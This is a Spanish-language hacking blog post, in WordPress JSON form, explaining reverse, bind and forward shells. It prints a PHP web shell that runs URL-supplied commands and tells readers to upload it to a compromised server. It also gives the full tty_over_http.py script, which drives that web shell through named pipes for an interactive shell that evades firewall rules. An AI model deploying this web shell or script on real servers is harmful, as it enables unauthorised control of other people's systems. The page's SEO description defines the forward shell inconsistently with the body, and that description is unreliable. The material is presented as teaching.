{"id":65,"date":"2024-06-22T13:16:18","date_gmt":"2024-06-22T11:16:18","guid":{"rendered":"https:\/\/cienciaytecnology.com\/wordpress\/?p=65"},"modified":"2026-04-26T23:32:34","modified_gmt":"2026-04-26T21:32:34","slug":"reverse-shell-bind-shell-y-foward-shell","status":"publish","type":"post","link":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/","title":{"rendered":"Reverse shell, Bind shell y Foward shell"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">En esta clase, veremos las diferencias entre Reverse Shell, Bind Shell y Forward Shell:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Reverse Shell:<\/strong> Es una t\u00e9cnica que permite a un atacante conectarse a una m\u00e1quina remota desde una m\u00e1quina de su propiedad. Es decir, se establece una conexi\u00f3n desde la m\u00e1quina comprometida hacia la m\u00e1quina del atacante. Esto se logra ejecutando un programa malicioso o una instrucci\u00f3n espec\u00edfica en la m\u00e1quina remota que establece la conexi\u00f3n de vuelta hacia la m\u00e1quina del atacante, permiti\u00e9ndole tomar el control de la m\u00e1quina remota.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" class=\"wp-image-67\" style=\"width: 700px;\" src=\"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2024\/06\/Reverseshell.png\" alt=\"\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br><strong>Bind Shell: <\/strong>Esta t\u00e9cnica es el opuesto de la Reverse Shell, ya que en lugar de que la m\u00e1quina comprometida se conecte a la m\u00e1quina del atacante, es el atacante quien se conecta a la m\u00e1quina comprometida. El atacante escucha en un puerto determinado y la m\u00e1quina comprometida acepta la conexi\u00f3n entrante en ese puerto. El atacante luego tiene acceso por consola a la m\u00e1quina comprometida, lo que le permite tomar el control de la misma.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" class=\"wp-image-68\" style=\"width: 700px;\" src=\"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2024\/06\/Bindshell.png\" alt=\"\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br><strong>Forward Shell: <\/strong>Esta t\u00e9cnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de \u201cconsola simulada\u201d interactiva a trav\u00e9s de la cual el atacante puede operar en la m\u00e1quina remota. En lugar de establecer una conexi\u00f3n directa, el atacante redirige el tr\u00e1fico a trav\u00e9s del archivo FIFO, lo que permite la comunicaci\u00f3n bidireccional con la m\u00e1quina remota.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" class=\"wp-image-69\" style=\"width: 700px;\" src=\"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2024\/06\/Fowardshell.png\" alt=\"\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br>Es importante entender las diferencias entre estas t\u00e9cnicas para poder determinar cu\u00e1l es la mejor opci\u00f3n en funci\u00f3n del escenario de ataque y las limitaciones de la red.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">C\u00f3digo php para ejecutar comandos por url<\/h2>\n\n\n\n<pre class=\"wp-block-code alignwide\"><code>&lt;?\n        echo \"&lt;pre>\" . shell_exec($_GET&#91;'cmd']) . \"&lt;\/pre>\";\n?>\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Script para obtener una tty despu\u00e9s de obtener una reverse shell<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Script \/dev\/null -c bash<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">TTYSobreHTTP<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/s4vitar\/ttyoverhttp?tab=readme-ov-file#ttyoverhttp\"><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En ocasiones cuando comprometemos un servidor web, hay reglas configuradas (&nbsp;<strong>Ej: iptables<\/strong>&nbsp;) que nos impiden obtener una Reverse Shell v\u00eda Netcat, Python u otra utilidad.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Con esta herramienta, evitamos tener que hacer uso de un shell inverso para obtener un TTY posteriormente completamente interactivo. A trav\u00e9s de archivos &#8216;&nbsp;<strong>mkfifo<\/strong>&nbsp;&#8216;, jugamos para simular una TTY interactiva sobre HTTP, logrando manejarnos sobre el sistema c\u00f3modamente sin ning\u00fan tipo de problema.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lo \u00fanico que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php\n\techo shell_exec($_REQUEST['cmd']);\n?&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se ubica nuestro script PHP alojado en el servidor vulnerado).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Archivo tty_over_http.py<\/h2>\n\n\n\n<pre class=\"wp-block-code alignwide\"><code>import requests, time, threading, pdb, signal, sys\nfrom base64 import b64encode\nfrom random import randrange\n\nclass AllTheReads(object):\n\tdef __init__(self, interval=1):\n\t\tself.interval = interval\n\t\tthread = threading.Thread(target=self.run, args=())\n\t\tthread.daemon = True\n\t\tthread.start()\n\n\tdef run(self):\n\t\treadoutput = \"\"\"\/bin\/cat %s\"\"\" % (stdout)\n\t\tclearoutput = \"\"\"echo '' > %s\"\"\" % (stdout)\n\t\twhile True:\n\t\t\toutput = RunCmd(readoutput)\n\t\t\tif output:\n\t\t\t\tRunCmd(clearoutput)\n\t\t\t\tprint(output)\n\t\t\ttime.sleep(self.interval)\n\ndef RunCmd(cmd):\n\tcmd = cmd.encode('utf-8')\n\tcmd = b64encode(cmd).decode('utf-8')\n\tpayload = {\n        \t'cmd' : 'echo \"%s\" | base64 -d | sh' %(cmd)\n\t\t}\n\tresult = (requests.get('http:\/\/127.0.0.1\/index.php', params=payload, timeout=5).text).strip()\n\treturn result\n\ndef WriteCmd(cmd):\n\tcmd = cmd.encode('utf-8')\n\tcmd = b64encode(cmd).decode('utf-8')\n\tpayload = {\n\t\t'cmd' : 'echo \"%s\" | base64 -d > %s' % (cmd, stdin)\n\t}\n\tresult = (requests.get('http:\/\/127.0.0.1\/index.php', params=payload, timeout=5).text).strip()\n\treturn result\n\ndef ReadCmd():\n        GetOutput = \"\"\"\/bin\/cat %s\"\"\" % (stdout)\n        output = RunCmd(GetOutput)\n        return output\n\ndef SetupShell():\n\tNamedPipes = \"\"\"mkfifo %s; tail -f %s | \/bin\/sh 2>&amp;1 > %s\"\"\" % (stdin, stdin, stdout)\n\ttry:\n\t\tRunCmd(NamedPipes)\n\texcept:\n\t\tNone\n\treturn None\n\nglobal stdin, stdout\nsession = randrange(1000, 9999)\nstdin = \"\/dev\/shm\/input.%s\" % (session)\nstdout = \"\/dev\/shm\/output.%s\" % (session)\nerasestdin = \"\"\"\/bin\/rm %s\"\"\" % (stdin)\nerasestdout = \"\"\"\/bin\/rm %s\"\"\" % (stdout)\n\nSetupShell()\n\nReadingTheThings = AllTheReads()\n\ndef sig_handler(sig, frame):\n\tprint(\"\\n\\n&#91;*] Exiting...\\n\")\n\tprint(\"&#91;*] Removing files...\\n\")\n\tRunCmd(erasestdin)\n\tRunCmd(erasestdout)\n\tprint(\"&#91;*] All files have been deleted\\n\")\n\tsys.exit(0)\n\nsignal.signal(signal.SIGINT, sig_handler)\n\nwhile True:\n\tcmd = input(\"> \")\n\tWriteCmd(cmd + \"\\n\")\n\ttime.sleep(1.1)<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Bibliografia<\/p>\n<cite><a href=\"https:\/\/github.com\/s4vitar\/ttyoverhttp\/blob\/master\/tty_over_http.py\">https:\/\/github.com\/s4vitar\/ttyoverhttp\/blob\/master\/tty_over_http.py<\/a><\/cite><\/blockquote>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Recurso para con distintos lenguajes obtener reverse shell<\/p>\n<cite><a href=\"https:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">https:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet<\/a><\/cite><\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>En esta clase, veremos las diferencias entre Reverse Shell, Bind Shell y Forward Shell: Reverse Shell: Es una t\u00e9cnica que permite a un atacante conectarse a una m\u00e1quina remota desde una m\u00e1quina de su propiedad. Es decir, se establece una conexi\u00f3n desde la m\u00e1quina comprometida hacia la m\u00e1quina del atacante. Esto se logra ejecutando un&#8230;<\/p>\n","protected":false},"author":1,"featured_media":766,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kadence_starter_templates_imported_post":false,"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"_kad_post_classname":"","footnotes":""},"categories":[63],"tags":[145,146,144,36,143,147],"class_list":["post-65","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","tag-bind-shell","tag-cmd","tag-foward-shell","tag-linux","tag-reverse-shell","tag-tty"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Reverse shell, Bind shell y Foward shell - Ciencia y Tecnologia<\/title>\n<meta name=\"description\" content=\"Un Reverse Shell es una t\u00e9cnica en la que el atacante configura un servidor en su propia m\u00e1quina que escucha conexiones entrantes. La m\u00e1quina objetivo se conecta a este servidor, permitiendo al atacante obtener acceso remoto al sistema. Es \u00fatil cuando la m\u00e1quina objetivo est\u00e1 detr\u00e1s de un firewall o tiene restricciones de conectividad. Un Bind Shell es una t\u00e9cnica en la que el atacante ejecuta un programa malicioso en la m\u00e1quina objetivo, que abre un puerto espec\u00edfico y espera conexiones entrantes. El atacante se conecta a este puerto y obtiene acceso a la m\u00e1quina. Es \u00fatil cuando la m\u00e1quina objetivo es accesible desde la red y permite conexiones directas. Un Forward Shell es una t\u00e9cnica en la que el atacante configura un servidor en la m\u00e1quina objetivo que escucha conexiones entrantes. Luego, el atacante conecta su propia m\u00e1quina a este servidor, permitiendo el acceso remoto. Es menos com\u00fan y generalmente se usa en situaciones espec\u00edficas donde el atacante necesita mantener el control a trav\u00e9s de m\u00faltiples sistemas.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reverse shell, Bind shell y Foward shell - Ciencia y Tecnologia\" \/>\n<meta property=\"og:description\" content=\"Un Reverse Shell es una t\u00e9cnica en la que el atacante configura un servidor en su propia m\u00e1quina que escucha conexiones entrantes. La m\u00e1quina objetivo se conecta a este servidor, permitiendo al atacante obtener acceso remoto al sistema. Es \u00fatil cuando la m\u00e1quina objetivo est\u00e1 detr\u00e1s de un firewall o tiene restricciones de conectividad. Un Bind Shell es una t\u00e9cnica en la que el atacante ejecuta un programa malicioso en la m\u00e1quina objetivo, que abre un puerto espec\u00edfico y espera conexiones entrantes. El atacante se conecta a este puerto y obtiene acceso a la m\u00e1quina. Es \u00fatil cuando la m\u00e1quina objetivo es accesible desde la red y permite conexiones directas. Un Forward Shell es una t\u00e9cnica en la que el atacante configura un servidor en la m\u00e1quina objetivo que escucha conexiones entrantes. Luego, el atacante conecta su propia m\u00e1quina a este servidor, permitiendo el acceso remoto. Es menos com\u00fan y generalmente se usa en situaciones espec\u00edficas donde el atacante necesita mantener el control a trav\u00e9s de m\u00faltiples sistemas.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/\" \/>\n<meta property=\"og:site_name\" content=\"Ciencia y Tecnologia\" \/>\n<meta property=\"article:published_time\" content=\"2024-06-22T11:16:18+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-26T21:32:34+00:00\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/b76777e3c0d2d08ea263068461c90d4b\"},\"headline\":\"Reverse shell, Bind shell y Foward shell\",\"datePublished\":\"2024-06-22T11:16:18+00:00\",\"dateModified\":\"2026-04-26T21:32:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/\"},\"wordCount\":488,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/b76777e3c0d2d08ea263068461c90d4b\"},\"image\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/post_65.jpg\",\"keywords\":[\"bind shell\",\"cmd\",\"foward shell\",\"Linux\",\"reverse shell\",\"tty\"],\"articleSection\":[\"Hacking\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/\",\"url\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/\",\"name\":\"Reverse shell, Bind shell y Foward shell - Ciencia y Tecnologia\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/post_65.jpg\",\"datePublished\":\"2024-06-22T11:16:18+00:00\",\"dateModified\":\"2026-04-26T21:32:34+00:00\",\"description\":\"Un Reverse Shell es una t\u00e9cnica en la que el atacante configura un servidor en su propia m\u00e1quina que escucha conexiones entrantes. La m\u00e1quina objetivo se conecta a este servidor, permitiendo al atacante obtener acceso remoto al sistema. Es \u00fatil cuando la m\u00e1quina objetivo est\u00e1 detr\u00e1s de un firewall o tiene restricciones de conectividad. Un Bind Shell es una t\u00e9cnica en la que el atacante ejecuta un programa malicioso en la m\u00e1quina objetivo, que abre un puerto espec\u00edfico y espera conexiones entrantes. El atacante se conecta a este puerto y obtiene acceso a la m\u00e1quina. Es \u00fatil cuando la m\u00e1quina objetivo es accesible desde la red y permite conexiones directas. Un Forward Shell es una t\u00e9cnica en la que el atacante configura un servidor en la m\u00e1quina objetivo que escucha conexiones entrantes. Luego, el atacante conecta su propia m\u00e1quina a este servidor, permitiendo el acceso remoto. Es menos com\u00fan y generalmente se usa en situaciones espec\u00edficas donde el atacante necesita mantener el control a trav\u00e9s de m\u00faltiples sistemas.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#primaryimage\",\"url\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/post_65.jpg\",\"contentUrl\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/post_65.jpg\",\"width\":1280,\"height\":853},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/reverse-shell-bind-shell-y-foward-shell\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Reverse shell, Bind shell y Foward shell\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/#website\",\"url\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/\",\"name\":\"Ciencia y Tecnologia\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/b76777e3c0d2d08ea263068461c90d4b\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/b76777e3c0d2d08ea263068461c90d4b\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g\",\"caption\":\"david\"},\"logo\":{\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g\"},\"sameAs\":[\"https:\\\/\\\/cienciaytecnology.com\\\/wordpress\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Reverse shell, Bind shell y Foward shell - Ciencia y Tecnologia","description":"Un Reverse Shell es una t\u00e9cnica en la que el atacante configura un servidor en su propia m\u00e1quina que escucha conexiones entrantes. La m\u00e1quina objetivo se conecta a este servidor, permitiendo al atacante obtener acceso remoto al sistema. Es \u00fatil cuando la m\u00e1quina objetivo est\u00e1 detr\u00e1s de un firewall o tiene restricciones de conectividad. Un Bind Shell es una t\u00e9cnica en la que el atacante ejecuta un programa malicioso en la m\u00e1quina objetivo, que abre un puerto espec\u00edfico y espera conexiones entrantes. El atacante se conecta a este puerto y obtiene acceso a la m\u00e1quina. Es \u00fatil cuando la m\u00e1quina objetivo es accesible desde la red y permite conexiones directas. Un Forward Shell es una t\u00e9cnica en la que el atacante configura un servidor en la m\u00e1quina objetivo que escucha conexiones entrantes. Luego, el atacante conecta su propia m\u00e1quina a este servidor, permitiendo el acceso remoto. Es menos com\u00fan y generalmente se usa en situaciones espec\u00edficas donde el atacante necesita mantener el control a trav\u00e9s de m\u00faltiples sistemas.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/","og_locale":"es_ES","og_type":"article","og_title":"Reverse shell, Bind shell y Foward shell - Ciencia y Tecnologia","og_description":"Un Reverse Shell es una t\u00e9cnica en la que el atacante configura un servidor en su propia m\u00e1quina que escucha conexiones entrantes. La m\u00e1quina objetivo se conecta a este servidor, permitiendo al atacante obtener acceso remoto al sistema. Es \u00fatil cuando la m\u00e1quina objetivo est\u00e1 detr\u00e1s de un firewall o tiene restricciones de conectividad. Un Bind Shell es una t\u00e9cnica en la que el atacante ejecuta un programa malicioso en la m\u00e1quina objetivo, que abre un puerto espec\u00edfico y espera conexiones entrantes. El atacante se conecta a este puerto y obtiene acceso a la m\u00e1quina. Es \u00fatil cuando la m\u00e1quina objetivo es accesible desde la red y permite conexiones directas. Un Forward Shell es una t\u00e9cnica en la que el atacante configura un servidor en la m\u00e1quina objetivo que escucha conexiones entrantes. Luego, el atacante conecta su propia m\u00e1quina a este servidor, permitiendo el acceso remoto. Es menos com\u00fan y generalmente se usa en situaciones espec\u00edficas donde el atacante necesita mantener el control a trav\u00e9s de m\u00faltiples sistemas.","og_url":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/","og_site_name":"Ciencia y Tecnologia","article_published_time":"2024-06-22T11:16:18+00:00","article_modified_time":"2026-04-26T21:32:34+00:00","author":"david","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"3 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#article","isPartOf":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/"},"author":{"name":"david","@id":"https:\/\/cienciaytecnology.com\/wordpress\/#\/schema\/person\/b76777e3c0d2d08ea263068461c90d4b"},"headline":"Reverse shell, Bind shell y Foward shell","datePublished":"2024-06-22T11:16:18+00:00","dateModified":"2026-04-26T21:32:34+00:00","mainEntityOfPage":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/"},"wordCount":488,"commentCount":0,"publisher":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/#\/schema\/person\/b76777e3c0d2d08ea263068461c90d4b"},"image":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#primaryimage"},"thumbnailUrl":"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2026\/04\/post_65.jpg","keywords":["bind shell","cmd","foward shell","Linux","reverse shell","tty"],"articleSection":["Hacking"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/","url":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/","name":"Reverse shell, Bind shell y Foward shell - Ciencia y Tecnologia","isPartOf":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/#website"},"primaryImageOfPage":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#primaryimage"},"image":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#primaryimage"},"thumbnailUrl":"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2026\/04\/post_65.jpg","datePublished":"2024-06-22T11:16:18+00:00","dateModified":"2026-04-26T21:32:34+00:00","description":"Un Reverse Shell es una t\u00e9cnica en la que el atacante configura un servidor en su propia m\u00e1quina que escucha conexiones entrantes. La m\u00e1quina objetivo se conecta a este servidor, permitiendo al atacante obtener acceso remoto al sistema. Es \u00fatil cuando la m\u00e1quina objetivo est\u00e1 detr\u00e1s de un firewall o tiene restricciones de conectividad. Un Bind Shell es una t\u00e9cnica en la que el atacante ejecuta un programa malicioso en la m\u00e1quina objetivo, que abre un puerto espec\u00edfico y espera conexiones entrantes. El atacante se conecta a este puerto y obtiene acceso a la m\u00e1quina. Es \u00fatil cuando la m\u00e1quina objetivo es accesible desde la red y permite conexiones directas. Un Forward Shell es una t\u00e9cnica en la que el atacante configura un servidor en la m\u00e1quina objetivo que escucha conexiones entrantes. Luego, el atacante conecta su propia m\u00e1quina a este servidor, permitiendo el acceso remoto. Es menos com\u00fan y generalmente se usa en situaciones espec\u00edficas donde el atacante necesita mantener el control a trav\u00e9s de m\u00faltiples sistemas.","breadcrumb":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#primaryimage","url":"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2026\/04\/post_65.jpg","contentUrl":"https:\/\/cienciaytecnology.com\/wordpress\/wp-content\/uploads\/2026\/04\/post_65.jpg","width":1280,"height":853},{"@type":"BreadcrumbList","@id":"https:\/\/cienciaytecnology.com\/wordpress\/reverse-shell-bind-shell-y-foward-shell\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/cienciaytecnology.com\/wordpress\/"},{"@type":"ListItem","position":2,"name":"Reverse shell, Bind shell y Foward shell"}]},{"@type":"WebSite","@id":"https:\/\/cienciaytecnology.com\/wordpress\/#website","url":"https:\/\/cienciaytecnology.com\/wordpress\/","name":"Ciencia y Tecnologia","description":"","publisher":{"@id":"https:\/\/cienciaytecnology.com\/wordpress\/#\/schema\/person\/b76777e3c0d2d08ea263068461c90d4b"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/cienciaytecnology.com\/wordpress\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":["Person","Organization"],"@id":"https:\/\/cienciaytecnology.com\/wordpress\/#\/schema\/person\/b76777e3c0d2d08ea263068461c90d4b","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g","caption":"david"},"logo":{"@id":"https:\/\/secure.gravatar.com\/avatar\/a9d8ccd92847e24d772422bc56934157f705784123e5b11a9724d44add16e6bb?s=96&d=mm&r=g"},"sameAs":["https:\/\/cienciaytecnology.com\/wordpress"]}]}},"_links":{"self":[{"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/posts\/65","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/comments?post=65"}],"version-history":[{"count":5,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/posts\/65\/revisions"}],"predecessor-version":[{"id":73,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/posts\/65\/revisions\/73"}],"wp:feature